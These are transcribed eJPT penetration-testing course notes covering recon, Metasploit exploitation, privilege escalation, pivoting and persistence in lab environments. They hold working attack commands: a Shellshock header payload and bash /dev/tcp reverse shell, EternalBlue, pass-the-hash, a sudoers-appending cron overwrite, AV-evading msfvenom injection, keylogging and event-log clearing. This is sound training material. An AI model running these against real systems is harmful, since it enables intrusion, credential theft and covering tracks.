

eJPT

eLearnSecurity Junior Penetration Tester

Course Notes

Handwritten notes transcribed to digital format

Symbol > denotes commands used

Whois Enumeration

```
> whois example.com
```

Provides all the details of the website.

Website Footprinting with Netcraft

It provides the Hosting provider details:

- IP Address
- Country & Data Center
- Web Server
- Server OS
- Name Servers
- Domain Registrar
- Domain Age

DNS Reconnaissance

```
> dnsrecon -d example.com
```

DNS dumpster.com — for same details in a sorted order.

```
> amass enum -passive -d target.com
```

WAF Detection with Wafw00f

```
wafw00f target.com
```

It provides if the target is protected by any WAF (or) Not.

If it finds it, provides which WAF was it.

Subdomain Finder — Sublist3r

```
> sublist3r -d target.com -e specific_site -v (verbose)
```

(or) If you want to run all on all sites:

```
> sublist3r -d target.com -v
```

Google Dorks

```
> site:target.com filetype:txt
```

```
> site:target.com inurl:keyword
```

You want to think that was in the URL of that site.

```
> site:target.com "keyword"
```

You want that to be in your header.

Email Harvesting with theHarvester

```
> theHarvester -h (help command)
```

```
> theHarvester -d target.com -b source_you_want_to_search_on
```

= It provides the emails mainly and also the subdomains.

Subdomain Tools Workflow

1) subfinder -d target.txt -o sub.txt

2) puredns resolve input.txt -r resolve.txt -w output.txt

3) puredns bruteforce wordlist.txt target.com -r resolves.txt -o final.txt

— *If huge subdomains, we use wildcard filtering.*

4) httpx -status-code -content-length -title

httpx -l final.txt -status-code -content-length -title -hash

Active Reconnaissance

```
> dnsenum domainname
```

```
> nmap -sn ipaddress
```

```
> nmap -Pn -F -sV -O ipaddr -v
```

Host Discovery

```
> nmap -sn -iL ip.txt # To scan IPs from file
```

```
> nmap -sn -PS ip-addr # Send SYN packet to target
```

```
> nmap -sn -PA ip-addr # Send ACK packet to target
```

Mostly firewall block this, so not much useful.

```
> nmap -sn -PS21,22,25,80,445,3389,8080 -PU137,138 ip-addr
```

Windows sometimes blocks TCP not UDP

```
> nmap -sn -P443 -sV ip-addr
```

If we want to find the version of that exact port.

Port Scanning

```
> nmap -Pn -sS -F -p80,443,22 ip-address
```

Flags:

- -sT (send TCP packets)
- -sU (send UDP packets)
- -sV (version detection)
- -O (operating system detection)

--version-intensity 0-8 (Increase accuracy of version detection)

--osscan-guess (Increase the accuracy)

NSE — Nmap Script Engine

```
> ls -la /usr/share/nmap/scripts # Find all scripts
```

```
> nmap --script-help="scriptname" # To know what this script does
```

-sC (runs scripts based on the open ports found)

--script="name1,name2" (to run specific scripts on the target)

=ftp-* (* runs all scripts that match 'ftp-' on the target)

Firewall Detection & IDS Evasion

```
> nmap -Pn -p- -f -mtu <value> -g <port_number> -D -S --proxies
```

- -f (Fragment the packets — Automatic small fragments)
- -mtu (send packets by given value — you have to choose)
- -D (Decoy: spoof the IP address by using another IP)
- -S (Spoof the source IP Address)
- -g 9 (show the request coming from another port)

Timing

--scan-delay 15s (send 1 packet after each 15 sec)

--host-timeout 5s,5m,5h (set time to complete the scan)

Output Format

- -oN filename.txt (save as normal result)
- -oA filename (save as 3 major formats: normal, XML, grepable)
- -oX filename.xml (save as XML — mainly used to connect with Metasploit)

FLAGS for Reconnaissance

We use HTTrack to mirror the application then use: `grep -o "FLAG"`

```
> curl https://target.ine.local/wp-content/uploads/flag.txt
```

```
> target.ine.local/robots.txt – we see the paths
```

```
> curl https://target.ine.local/wp-config.php.bak
```

Assessment Methodologies — Enumeration

```
> msfconsole, workspace -a test (Create a workspace)
```

```
> db_import "path" (to import into metasploit)
```

```
> hosts (It shows the results of hosts)
```

```
> services (It displays all the info about host)
```

```
> db_nmap -p- -sV 127.0.0.1 (Run nmap from metasploit)
```

/usr/share/metasploit-framework/data/wordlists/

- /common_users.txt (For users file)
- /unix_passwords.txt (For passwords file)

FTP Enumeration Lab

```
> ping host.inet.local → 192.142.254.3
```

```
> service postgresql start
```

```
> msfconsole
```

Start Metasploit.

```
> search type:auxiliary ftp
```

```
> use 16 (ftp version detection module)
```

```
> set RHOST 192.142.254.3
```

```
> run
```

FTPBanner: '220 ProFTPD 1.3.5a server'

```
> use 13 (ftp-login – brute force username & password)
```

```
> set user_file & pass_file
```

```
> run
```

sysadmin : 654321

```
> ftp 192.142.254.3
```

Host: sysadmin password: 654321

```
<ftp> ls
```

secret.txt

```
<ftp> get secret.txt
```

SMB Enumeration (Server Message Block)

Port 445 & 139 (over the NetBIOS)

Lab

```
> setg rhost 192.168.0.1 (set rhost as global variable)
```

```
> search type:auxiliary name:smb
```

```
> use 38 (version detection) → run
```

```
> use 34 (smb-enum-users) → run
```

It lists usernames which have access to smb

```
> use 39 (smb-enum-shares)
```

```
> set showfiles true
```

```
> use auxiliary/scanner/smb/smb_login
```

Tries to brute force the password on the users we found.

```
> set SMBUser admin
```

```
> set pass_file "file_path"
```

```
> run
```

After getting the password.

```
> exit
```

```
Linux> smbclient -L //192.168.0.1 -U username
```

password: **** (Lists all the folders which are shared)

```
> smbclient //192.168.0.1/public -U username
```

```
> enum4linux -a ip-address (Does lot of job) NICE
```

WEB Server Enumeration

- 1. Start the metasploit
- 2. setg rhost IP → search type:auxiliary type:http
- 3. use 63 (http-version detection module) → Run
- 4. use 55 (robots-txt) → Run
- 5. > curl (To get the webpage details)
- 6. > use /http/dir-scanner (Brute Force the web page dictionary)

- 7. search files-dir (It find the files on the web page)

```
> use 48
```

- 8. search http_login (To brute force the login of http)

```
> use 49
```

```
> set AUTH_URI /secure/
```

```
> Run
```

NOTE: If we don't succeed then we need to change the user & password files

- 9. search apache-userdir-enum → use (brute force usernames) → run

search (header-put) (which is used to upload a file into the server)

```
> set path /data/ or /secret/
```

```
> run
```

```
> wget ip/data/filename
```

(To verify if the file was uploaded)

MySQL Enumeration

Port: 3306 TCP | MSSQL Server: 1433

- 1. Start the postgresql & then metasploit.
- 2. > search type:auxiliary name:mysql
- 3. > use 9 (version detection of MySQL)
- 4. > use mysql-login (To brute force the login)
- 5. > use mysql-enum (To enumerate the login) → run
- 6. > search mysql-sql (perform the query on target)
- 7. > search mysql-schema (Schema dump — shows all databases & tables)

After getting credentials, access MySQL server by CMD:

```
> mysql -h 192.168.0.1 -u root -p
```

Assessment Methodologies — Vulnerability Assessment

> After finding the open ports, we scan the versions to run a suitable exploit.

```
> search type:exploit name:"service_version"
```

```
> searchsploit "Name"
```

searchsploit finds exploits & payloads from exploit database

IIS (Internet Information Service) — WebDAV

davtest — used to scan & exploit a WebDAV server

cadaver — used to upload, download, delete & all actions on WebDAV server

```
> hydra -L user_list -P pass_list ip-addr http-get /directory/
```

davtest: It uploads files to check whether it is allowing or not and also executes those test files.


```
> davtest -auth username:password -url "url"
```

```
> cadaver url
```

username: bob password: pass_12332|

```
cadaver> put /usr/share/webshells/php/webshell.php
```

We are uploading the malicious file to get the terminal.

Now we have the access of the server.

```
> dir # For directories
```

```
> dir C:\flag.txt # Find flag.txt
```

```
> type C:\flag.txt # Output flag.txt
```

use exploit/windows/iis/iis_webdav_upload_asp → set path & details → run

```
> nmap -sV -p80 --script=http-enum ip
```

Use this to find on which directory the webDAV is

Exploiting Windows MS17-010 SMB Vuln (EternalBlue)

```
> nmap -sV -p445 --script=smb-vuln-ms17-010 IPAddr
```

```
> msfconsole
```

```
> search eternal blue
```

```
> use 0 # Directly go to exploitation
```

(or) Manually: github.com/3ndG4me/AutoBlue-MS17-010

```
> pip install -r requirements.txt
```

```
> ./shell_prep.sh → It creates the payload.
```

It asks for LPORT, LHOST

```
> nc -lvnp LPORT
```

```
> python eternal_blue_exploit7.py shellcode/sc_x64.bin
```

You can go to Netcat listener and run any commands.

Windows 7, Windows 8.1, Windows 10 are vulnerable for this.

Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)

```
> nmap -p- ip-address → tcp/open 3389 ms-wbt-server
```

```
> msfconsole
```

```
> search BlueKeep
```

```
> use 0 (If we want to test RDP Vulnerability)
```

```
> use 1 (To exploit)
```

Provide RHOSTS.

```
> run # We also need to set the target
```

```
> show targets # Show all the targets available
```

```
> set target [number]
```

```
> run
```

BlueKeep takes advantage of RDP Protocol that allows attacker to gain access of kernel memory, allowing them to remotely execute arbitrary code at the SYSTEM level without Authentication.

Pass-The-Hash Attacks

```
> msfconsole
```

```
> search badblue → use 1 → exploit
```

```
meterpreter> pgrep lsass
```

```
> migrate #80
```

```
> getuid
```

```
> load kiwi
```

```
> lsa_dump_sam (Get the Credentials)
```

```
> hashdump
```

Copy the admin hash → put session at background.

```
> search psexec → use 9
```

set LPORT, RHOST, target, SMBUser, SMBPass (The hash we got during hashdump)

```
> exploit
```

We will see a meterpreter session.

```
> crackmapexec smb 127.0.0.1 -u "Administrator"
```

```
-H "Hash we got during lsa_dump_sam"
```

```
-x "whoami"
```

=> In this we use the smb protocol to enter the exploitation

```
-u "user_name" -H "Hash" -x "command"
```

Linux Vulnerability — Bash CVE-2014-6271 (ShellShock)

```
> nmap -sV 192.168.0.1
```

80/tcp open Apache httpd 2.4.6 (Unix)

Manual Method

- 1. Visit 192.24.241.3 in web browser → check source code for '/gettime.cgi'

```
> nmap -sV 192.168.0.1 --script=http-shellshock --script-args  
"http-shellshock.uri=/gettime.cgi"
```

- 2. Open Burp & start the proxy → Send request to Repeater

=> Replace User-Agent: () { ;; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

The response will give you the details — we exploited it.

(or) For Reverse Shell:

```
> nc -nlvp 1234
```

It listens on 1234 port.

Replace the cat command with:

```
-c 'bash -i >& /dev/tcp/192.168.0.1/1234 0>&1'
```

We get the netcat listener with terminal to execute arbitrary commands.

Use of Metasploit

```
> service postgresql start && msfconsole
```

```
> search shellshock
```

```
> use 5 (exploit/multi/http/apache_mod_cgi_bash_env_exec)
```

set RHOST, TARGETURI /gettime.cgi

```
> exploit
```

meterpreter > sysinfo

NOTE: Bash processes function definitions in environment variables and incorrectly executes commands appended after the function definition.

Vulnerability Scanning with Nessus

=> Nessus is a vulnerability scanner

=> We can also import Nessus results to MSF

Vuln Scanning with WMAP

WMAP is a web application vulnerability scanning tool. It is a Metasploit Module.

```
> msfconsole
```

```
> load wmap
```

```
> wmap-sites -a 192.169.0.1 # Add our site
```

```
> wmap-targets -t https://192.157.89.1/ # Specify directory
```

```
> wmap_sites -l # List all sites added
```

```
> wmap_targets -l # Same
```



```
> wmap-run -t # Load all necessary modules according to target
```

```
> wmap-run -e # Run the modules on the target
```

```
> wmap-vuln -l # List the vulnerabilities that it found
```

Security Auditing Process

- 1) Planning & Preparation — scope & policies
- 2) Information Gathering
- 3) Risk Assessment — Identify Assets & Threats — Assign Risk levels
- 4) Audit Execution — Actual penetesting & Scanning Vulnerabilities
- 5) Analysis & Evaluation
- 6) Reporting
- 7) Remediation

SMB Hosts & Network Penetration Testing

Exploiting SMB with PsExec

```
> nmap -sV -sC 10.2.0.1
```

```
> msfconsole
```

```
> use auxiliary/scanner/smb/smb_login
```

Give the user file & password file

After getting the credentials, use PsExec:

```
> psexec.py username@IPaddress cmd.exe
```

(or) We can also use the metasploit psexec module:

```
> use exploit/windows/smb/psexec
```

set path & other details

```
> run
```

RDP Exploitation

```
> nmap -sV -p- 192.168.0.1
```

3333/tcp open (Some times RDP runs on different port)

Verify with metasploit module:

```
> use auxiliary/scanner/rdp/rdp_scanner
```

Change the port to which port you want to test.

```
> hydra -L user_list -P pass_list rdp://10.0.0.1 -s Port
```

```
> xfreerdp /u:user /p:pass /v:10.0.0.1:2333
```

Use xfreerdp to login

If RDP opens a GUI Desktop → Authenticate then run.

Exploitation of WinRM (Windows Remote Management)

TCP 5985 & 5986 (HTTPS)

We use 'crackmapexec' to perform a brute force.

We use 'evil-winrm' to obtain a command shell on the target system.

```
> crackmapexec winrm ip-addr -u user -P pass_list
```

```
> evil-winrm -u user -p password -x "whoami sysinfo"
```

It provides us the command shell

Metasploit

```
> search winrm-script
```

```
> use exploit/windows/winrm/winrm_script_exec
```

set FORCE_NTLM true & set necessary details

```
> run
```

Windows Kernel Exploit

After getting a meterpreter session, we want to gain privilege access (root).

```
> getprivs # Show what privileges we have
```

```
> getsystem # Tries to give us root access
```

mostly fails due to old version

```
> search suggested
```

After giving the session number it provides the vulns & modules to use

```
> get sessions # Shows active sessions
```

```
> run
```

Bypassing UAC with UACme

UAC (User Account Control)

```
> search rejetto → use 0 # set necessary options → run
```

After accessing meterpreter session:

```
> migrate [number]
```

```
> sysinfo # It show which system we accessed
```

```
> getuid
```

```
> shell
```

```
> getprivs # what privileges this user has
```

net user → not local group Administrators (provides all Administrator accounts)

```
> msfvenom -P windows/meterpreter/reverse_tcp LHOST=our-ip LPORT=1234 -f  
exe > example.exe
```

```
> use multi/handler
```

```
> set LPORT 1234
```

```
> set LHOST our-ip
```

```
> run
```

In meterpreter session:

```
> mkdir Temp
```

```
> upload example.exe
```

Don't upload payload into directories people can access.

```
> cd Temp
```

```
> shell
```

```
> .\Akagi64.exe 23 C:\Temp\example.exe
```

Download this payload from github for privilege access

Also we get a meterpreter listener using 'multi/handler' & migrate processes.

Access Token Impersonation

Impersonation = Temporarily Act as another user.

```
> search rejetto → use 0 → set RHOSTS Target-IP → run
```

```
meterpreter> pgrep explorer
```

```
> migrate [PID]
```

```
> getprivs
```

```
> load incognito
```

```
> list_tokens -u
```

It provides Delegation & Impersonation tokens

```
> impersonate_token "Token_name"
```

Ex: "ATTACKDEFENSE\Administrator"

Processes — we will change the number by: migrate [number]

Alternate Data Stream

```
> notepad test.txt:secret.txt
```

We can hide the secret data inside a file.

```
> mklink linkname "file_name"
```

If you just execute the link name, it executes the hidden file.

Windows Password Hashes

The Windows OS stores hashed user account passwords locally in the SAM (Security Accounts Manager) database.

Passwords are hashed using the account password — decoded using account password.

Searching for Passwords in Windows Config Files

Method 1

```
> msfvenom -P windows/x64/meterpreter/reverse_tcp LHOST=our-ip LPORT=1234  
-f exe > payload.exe
```

```
> use multi/handler
```

```
> set payload windows/x64/meterpreter/reverse_tcp
```

```
> run
```

Meterpreter Session:

```
> cd C:\Windows\Panther
```

```
> download unattend.xml
```

It contains the passwords of users encoded in base64

Decode the base64 hash — that is the Administrator password.

```
> psexec.py -U Administrator@target-ip
```

We are now in the Administrator account.

Method 2 — PowerSploit

Use 'PowerUp.ps1' module to scan Windows vulnerabilities.

```
> Powershell -ep bypass
```

```
> .\PowerUp.ps1 # Load and execute the module
```

```
> Invoke-PrivescAudit # Scan the windows system
```

If we find an unattend.xml file — the value is base64 encoded.

Decode it to get the Administrator password.

password: ****

Method 3

```
> msfconsole
```

```
> use exploit/windows/misc/hta_server
```

Provides a link containing malicious payload on webserver

```
> run # Hosts a malicious module on webserver
```

Target machine navigates to: <https://10.0.0.1:8080/AbCl23.hta> (run the payload)

In meterpreter: sessions -i admin → upload payload → run it

```
> .\mshta.exe http://10.0.0.1:8080/AbCl23.hta
```

NOTE: We need to run this as administrator.

Dumping Hashes with Mimikatz

Mimikatz extracts hashes from 'lsass.exe' process which stores cached hashes.

NOTE: We need privilege access to extract hashes using Mimikatz.

Target is Vulnerable & running the BadBlue on port 80.

```
> msfconsole
```

```
> search BadBlue → use → exploit
```

```
mp> pgrep lsass → migrate [number] → getuid
```

AUTHORITY\SYSTEM (ZEP privileges)

```
mp> load kiwi
```

```
mp> lsa_dump_sam # Provide all the SAM database
```

```
mp> hashdump
```

Pass The Hash Attack — Lab

```
> hashdump # Copy LM:NTLM hash
```

```
> use exploit/windows/smb/psexec
```

```
> set RHOST & LPORT
```

```
> set SMBUser Administrator
```

```
> set SMBPass "LM:NTLM hash"
```

```
> set target Command
```

```
> run
```

We get a meterpreter session.

```
> crackmapexec smb ip-addr -u username -H "NTLM-hash" -x "whoami"
```

Perform testing on the target system.

SSH — Linux

```
> nmap -sV demo.ine.local
```

22/tcp open SSH (Unix)

```
> hydra -L common_users.txt -P unix_passwords.txt -t 4  
ssh://demo.ine.local
```

After getting users & passwords:

```
> ssh username@ip-address
```

password: ****

```
> search type:auxiliary name:ssh
```

```
> use 11 (ssh_enumusers)
```

Exploiting SAMBA

```
> nmap -sV demo.ine.local
```

139/open samba 445/open samba

```
> hydra -l admin -P unix_passwords.txt smb://ip-addr -t 4
```

We get the password for admin.

```
> smbmap -H demo.ine.local -u admin -p password
```

It provides the shares of the users.

```
> smbclient //demo.ine.local/shawn -U admin
```

```
> enum4linux -a demo.ine.local -u user -P password
```

tar -xvzf flag.tar.gz

- x : extract | v : show files | z : handle .gz | f : file name

Linux Kernel Privilege Escalation

Github: <https://github.com/mzet-/linux-exploit-suggester>

Exploiting Misconfigured Cronjobs

Cron is a time-based service that runs applications, scripts & other commands repeatedly on a specific schedule.

A Cron-tab file is a configuration file which stores & tracks Cron Jobs.

Lab

```
> cd /
```

```
> grep -rnw /usr -e "/home/student/message"
```

Recursively search for the path in /usr directory

/usr/local/share/copy.sh

It is running a script which copy & paste in the /tmp directory.

```
> ls -la copy.sh
```

-rwxrwxrwx (It has all the permissions — writable as a normal user)

```
> printf '#!/bin/bash \necho "student: ALL=NOPASSWD:ALL" >> /etc/sudoers'
> /usr/local/share/copy.sh
```

After some time check the groups of sudo (Root)

```
> sudo -l
```

If it provides 'student may run the following...' we are successful

```
> sudo su # Enter into root
```

```
> whoami
```

```
> ls # List all root user files
```

NOTE: We modified a Cron Job created by root user — it ran and gave us root access.

Exploiting SUID Binaries

SUID (Set Owner User ID)

Without giving complete privileges to users, they give some files to be executed with root privileges.

```
> echo '#!/bin/bash' > gretting # -p (Grant root privileges to this user)
```

```
> echo '/bin/bash -p' > gretting
```

If any file is executing the gretting file, we delete the original gretting & create a new one — then execute the other file to gain root privileges.

Hashes — Linux Password Hashes

All Linux passwords are stored in '/etc/shadow'

All accounts information stored at '/etc/passwd'

\$1 => MD5, \$2 => Blowfish, \$5 => SHA-256, \$6 => SHA-512

```
> msfconsole
```

```
> use exploit/unix/ftp/proftpd_133c_backdoor
```

```
> run
```

/bin/bash -i # Give us a terminal

Ctrl+Z → session -u 1 (upgrade the session to meterpreter)

```
mp> cat /etc/shadow # Provides the root hash
```

(or) use post/linux/gather/hashdump → set session 2 → run

NOTE: hashcat -m 1800 hash.txt rockyou.txt

or: john --format=sha512crypt hash.txt --wordlist rockyou.txt

Network-Based Attacks — SMB & NetBIOS Enumeration

NetBIOS offers 3 Primary Services:

- 1) Name Service NS (137) — Allow Host to register, unregister & resolve names
- 2) Datagram Service DS (138) — Support Connection-less Communication (Broadcasting)
- 3) Session Service SSN (139) — Connection-oriented Communication

```
> nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n IPAddr
```

```
> nmap -p445 --script smb-protocols IPAddr
```

Provide all the details of protocols & versions

```
--script smb-enum-users.nse ip-addr
```

NOTE: ls -al /usr/share/nmap/scripts/ | grep -e "smb" # List all smb scripts*

Pivoting Lab

After we compromised the 1st target, now we start pivoting.

```
> run autoroute -s ip-address # 2nd target IP
```

Tell metasploit to use this compromised machine to reach internal network

```
> background
```

```
> use auxiliary/server/socks_proxy
```

```
> set srvport 9050
```

```
> set version 4a
```

```
> run
```

Now metasploit acts as a proxy server

```
> proxychains nmap ip-addr -sT -Pn -p445
```

```
> session -i 1 # Back to meterpreter session
```

```
> shell
```

```
> net view ip-addr # Internal IP address
```

```
> exit
```

NOTE: Access denied

```
> migrate -N explorer.exe
```

```
> shell
```

```
> net view ip-address
```

Now you see documents.

```
> net use D: \\ip-addr\Documents
```

```
> net use K: \\ip-addr\k$
```

```
> exit
```

```
> dir D: # provide files in this directory
```

```
> dir K:
```

```
> type D:\FLAG.txt
```

Net view ip-addr # List shared resources on another machine.

SNMP Enumeration (Simple Network Management Protocol)

Used for monitoring & managing network devices like: routers, switches & printers.

Ports: 161 (UDP) queries | 162 (UDP) notifications

Lab

```
> nmap -sU -p161 ip-addr
```

```
--script=snmp-brute # Brute force SNMP community string
```

```
--script=snmp-* # Run all snmp scripts
```

```
> snmpwalk -v 1 or 2 or 3 -c public <target> private
```

-v = version -c = Community string

SMB Relay Attack

```
> msfconsole
```

```
> search smb_relay
```

```
> set RHOSTS, SRVHOST, LHOST = our-IP (Target_IP)
```

```
> use exploit/windows/smb/smb_relay
```

```
> run
```

Linux Machine — DNS Spoofing

```
> echo "our-IP *.sportsfoo.com" > dns
```

Create a fake dns entry with all subdomains of sportsfoo.com.

```
> dnsspoof -i eth1 -f dns
```

Step 3 — Activate MITM

```
> echo 1 > /proc/sys/net/ipv4/ip_forward
```

```
> arpspoof -i eth1 -t target-IP gateway-IP
```

```
> arpspoof -i eth0 -t gateway-IP target-IP
```

Our Metasploit will create a meterpreter session using NTLM hashes.

Lab — Wireshark

- 1) http.response.code == 200

This will provide which packets are responded with 200 OK response code.

- 2) http

Here we will find the IP & MAC addresses.

- 3) nbns

Provide all netbios name servers — Inside the netbios name we will find the host name.

- 4) string: "mystery-file.ps1" → Follow TCP stream & then search again for "mystery-file.ps1"

=> We can see which user.

- 5) string: "PowerShell" — set packet byte in Windows PowerShell

Metasploit Framework (MSF)

/usr/share/metasploit-framework/

Here all the msf folders will be sorted.

```
> connect -h # Provides help menu of 'connect' tool
```

ex: connect :

It is same like netcat.

```
> db_import /path/to/file
```

This will import the file into 'msf'

```
> db_nmap -Pn -O <target>
```

We can run nmap scanning from metasploit by this command after importing.

Metasploit — autopwn

It will provide all the exploit modules to us based on the open ports.

```
> wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db-autopwn.rb
```

```
> mv db-autopwn.rb /usr/share/metasploit-framework/plugins
```

In MSF

```
> load db-autopwn
```

```
> db-autopwn -h # help menu
```

We can Iterate the payloads and thread that the payload is running.

Creating Payloads with msfvenom

Encoding Payloads

Encoding is the process of modifying the payload shellcode with the objective of modifying the payload signature.

```
> msfvenom --list encoders # List all encoders
```

Ex:

```
> msfvenom -P windows/meterpreter/reverse_tcp LHOST=<> LPORT=124 -e  
x86/shikata-ga-nai -f exe > encode.exe
```

We can iterate the payload any number of times.

The more we iterate the less it gets detected.

We use '-i' to iterate the payload.

resource # Execute script in MSF

Injecting Payloads into Windows

```
> msfvenom -p windows/mpl/reverse_tcp LHOST=<> LPORT=<>
```

```
-e x86/shikata-ga-nai -i 10 -f exe
```

```
-x worar602.exe > injecting.exe
```

In this file we are injecting our payload to avoid detection.

Automation of MSF Commands

The extension should be 'rc'.

```
> nano script.rc # Write all commands manually into the file, Save & execute it.
```

```
> msfconsole -r script.rc
```

In MSF — Save all previous commands

```
> make rc <script.rc> # File name – it will save it.
```

Windows Exploitation-2

Exploiting A Vulnerable HTTP File Server (HFS)

=> Rejjetto HTS is free & open source HFS that can be setup on both Windows & Linux.

=> Rejjetto v2.3 is Vulnerable for RCE.

```
> msfconsole
```

```
> search type:exploit name:rejjetto
```

```
> use 0
```

```
> set payload windows/x64/meterpreter/reverse_tcp
```

```
> run
```

Exploiting Apache Tomcat

=> It runs on TCP port 8080

```
> msfconsole
```

```
> search type:exploit tomcat_jsp
```

```
> use 0
```

```
> set payload java/jsp_shell_bind_tcp
```

```
> set SHELL cmd
```

```
> run
```

We want another session after exploiting

```
mp> certutil -urlcache -f http://target-ip/file.exe output-file.exe
```

It will download the file into the target server machine.

```
> use multi/handler
```

```
> set payload windows/meterpreter/reverse_tcp
```

```
> set RHOST & LHOST → run
```

Go to file location where we downloaded then execute the file:

```
> .\shell.exe
```

We will see the meterpreter session

Linux Exploitation (Servers)

Exploiting FTP — vsftpd

=> vsftpd was the FTP file server for the UNIX-like systems.

=> vsftpd v2.3.4 is vulnerable to a command injection vulnerability.

Lab

```
> msfconsole
```

```
> search vsftpd → use 0 → run
```

NOTE: search shell-to-meterpreter — This module will convert the shell into meterpreter.

```
> use 0
```

```
> set RHOSTS → set session 1 → run
```

We get meterpreter session.

Instead of doing this, just use: sessions -u pid

SAMBA

```
> msfconsole
```

```
> search samba
```

```
> use exploit/linux/samba/is_known_pipename
```

```
> check # Checks the target is vulnerable or not
```

```
> run
```

Same as before, we will convert the shell into the meterpreter session.

SSH

=> libssh is the server for SSH.

=> libssh is vulnerable for V 0.6.0 - V0.8.0.

```
> msfconsole
```

```
> search libssh-auth-bypass → use 0
```

```
> set spawn_pty true
```

```
> run # It creates a session we can access by: sessions -i 1
```

SMTP Server — Haraka

=> Haraka is the SMTP server. (Anything less than or equal to v2.8.9 is vulnerable)

```
> db_nmap -sV -O demo.ine.local
```

port service version

25/open smtp Haraka smtp 2.8.8

```
> search type:exploit name:haraka
```

```
> use 0
```

```
> set srvport 9898
```

```
> set email_to root@attackdefense.test
```

```
> set payload linux/x64/meterpreter_reverse_http
```

```
> run
```

Meterpreter (Meta-Interpreter)

It executes in the memory on the target system, so it is difficult to detect.

```
> sysinfo # Provide system information
```

```
> getuid # Provide user
```

```
> help # All the help suggestions
```

```
> background # Put this session in background
```

```
> download file_name # Download file into our system
```

```
> search -f *name*
```

```
> search -d path -f *name*
```

```
> search -f *.php,txt
```

```
> shell
```

```
> ps # Give all the processes list running on the system
```

```
> migrate process-id
```

```
> migrate -N process_name
```

Windows Post Exploitation

1) Bypassing UAC

```
> msfconsole
```

```
> search rejetto
```

```
> set rhosts, payload
```

```
> run # Create a meterpreter session.
```

=> mps

Privilege Escalation

```
> search bypass_uac_injection
```

```
> use 0
```

```
> set sessions 1
```

```
> set LPORT, set target windows/x64
```

```
> run
```

Windows Access Tokens

=> We need these privileges to do this:

- 1. SeAssignPrimaryToken
- 2. SeCreateToken
- 3. SeImpersonateToken

```
> msfconsole → search rejetto → use 0
```

```
> set payload, host → run
```

```
mp> getuid
```

```
mp> getprivs # Give privileges that we have
```

```
mp> load incognito
```

```
mp> list_tokens -u # Provide tokens
```

```
mp> pgrep explorer & migrate id
```

```
mp> impersonate_token "ATTACKDEFENSE\Administrator"
```

```
mp> hashdump # Give all hash passwords
```

Establishing Persistence on Windows

```
> msfconsole
```

After getting meterpreter session — set up windows persistence.

```
> search platform:windows persistence-service
```

```
> use /windows/local/persistence-service
```

```
> set session 1 → run
```

```
> meterpreter> exit
```

```
> sessions -K # Kill all the sessions
```

use multi/handler → set payload, RHOST, LHOST → run

We get the meterpreter session again.

Even though we disconnected, we can connect again as our SESSION was running on the target.

Enabling RDP

=> After getting our session (Meterpreter)

```
> background
```

```
> search enable_rdp → use 0
```

```
> set session 1 → run
```

It will open the RDP service on the target.

```
mp> shell
```

```
> net users # How many users are there
```

```
> net user administrator password123 # Change password
```

We are changing the password of admin (or crack it instead)

Open Another terminal:

```
> xfreerdp /u:administrator /p:password123 /v:demo.ine.local
```

It will open a GUI desktop of target

Windows Keylogging

```
meterpreter> pgrep explorer
```

```
> migrate -N explorer (or pid)
```

```
> keyscan_start
```

Start keystroke capture

```
> keyscan_dump
```

This provides what was the victim typed in the target system.

Clearing Windows Event Logs

```
> clearev # Will Clear all the logs on the target system.
```

Pivoting

=> It is the method of accessing the internal hosts, after compromising the 1st host that we have access to.

=> After getting meterpreter of 1st target:

```
mp> autoroute -s target-IP-subnet # ex: 192.18.2.0/20
```

```
> background
```

```
> use auxiliary/scanner/portscan/tcp
```

```
mp> portfwd add -l 1234 -p 80 -r target-IP
```

port we want to forward

```
> background
```

```
> db_nmap -sS -sV -p 1234 localhost
```

Provide the details of the port.

```
> search eternalblue → use 0
```

```
> set payload windows/meterpreter/bind_tcp
```

```
> set hosts & rhosts (target 2 IP) → set LPORT 4422 → Run
```

Linux Post Exploitation

```
mp> cat /etc/passwd
```

```
> groups root # Provide all groups of root
```

```
> cat /etc/*issue # Provide distribution version
```

```
> uname -a # Provide Linux version
```

```
> ip as # Provide all Interfaces on system
```

```
> search enum_config
```

This module provides all Linux Configuration files.

```
> loot # Provide details in a structured way.
```

```
> use post/multi/gather/env
```

It provides the OS environment settings.

```
> use post/linux/gather/enum_network
```

It gathers Network Information of Linux.

```
> loot # Same for this.
```

```
> use post/linux/gather/enum_protections
```

It checks how much the target is protected & what info we can get.

```
> notes # List more organised way.
```

```
> use post/linux/gather/enum_system
```

It gathers system info: installed packages, services, user lists, bash history & cron jobs.

```
> use check_container
```

It provides the host container info.

```
> use check_vm
```

Check whether the target is running on VM or Not.

```
> use enum_users_history
```

Provide all the history files of the target.

L.P.E. (A Vulnerable Program)

```
mp> ps aux
```

Check the root user executed any files/processes

```
mp> cat /bin/check-down
```

chkrootkit # In my lab given this — for general any thing might run.

```
mp> chkrootkit -V # Give version
```

```
mp> background
```

```
> search chkrootkit → use 0
```

```
> set payload chkrootkit /bin/chkrootkit
```

file path

```
> set sessions, LHOST → run
```

We get the shell

```
> /bin/bash -i # Update the shell
```

Dumping Hashes with Hashdump

=> Hashes are stored in a '/etc/shadow' file

=> After getting the shell:

```
> search hashdump
```

```
> use 13
```

```
> set sessions 1
```

```
> run
```

Provides the password file.

```
> loot # Organised way.
```

Establishing Persistence on Linux

```
mp> useradd -m ftp -s /dev/null/bash
```

```
> passwd ftp
```

Set password.

```
> usermod -aG root ftp
```

Adding ftp to root group.

```
> usermod -u 15 ftp
```

MSF

```
> search type:platform:linux persistence
```

```
> use 0 # apt-package-manager-persistence
```

```
> use 3 # cron module
```

We don't guarantee to get the shell, try different modules.

```
> use 5 # ssh module
```

This will create ssh key in all user files & provide ssh key to login as any user.

From Linux terminal: vim ssh_key, then paste our ssh key & give permissions to it.

```
> ssh -i ssh_key root@<target-ip> # Any user we want
```

Armitage

=> It provides the GUI Interface for Metasploit which is easy to use.

=> It needs msf running & postgresql database running.

```
> service postgresql start && msfconsole
```

In another terminal:

```
> armitage
```

Confirm with the IP-address & port. It opens a GUI Interface.

Hosts > add hosts > paste-IP # Add target

Attack > Find attacks # Give the modules that used for the target.

search bar is the important, in that we can search for modules, then set the details & launch them.

It will provide you the meterpreter session.

When you are launching, don't forget to use the reverse_tcp box.

We click on System then have multiple options to use on the target system.

HTTP Server & File Transfer

/root/usr/share → python -m SimpleHTTPServer

→ python -m http.server 80 # NEW

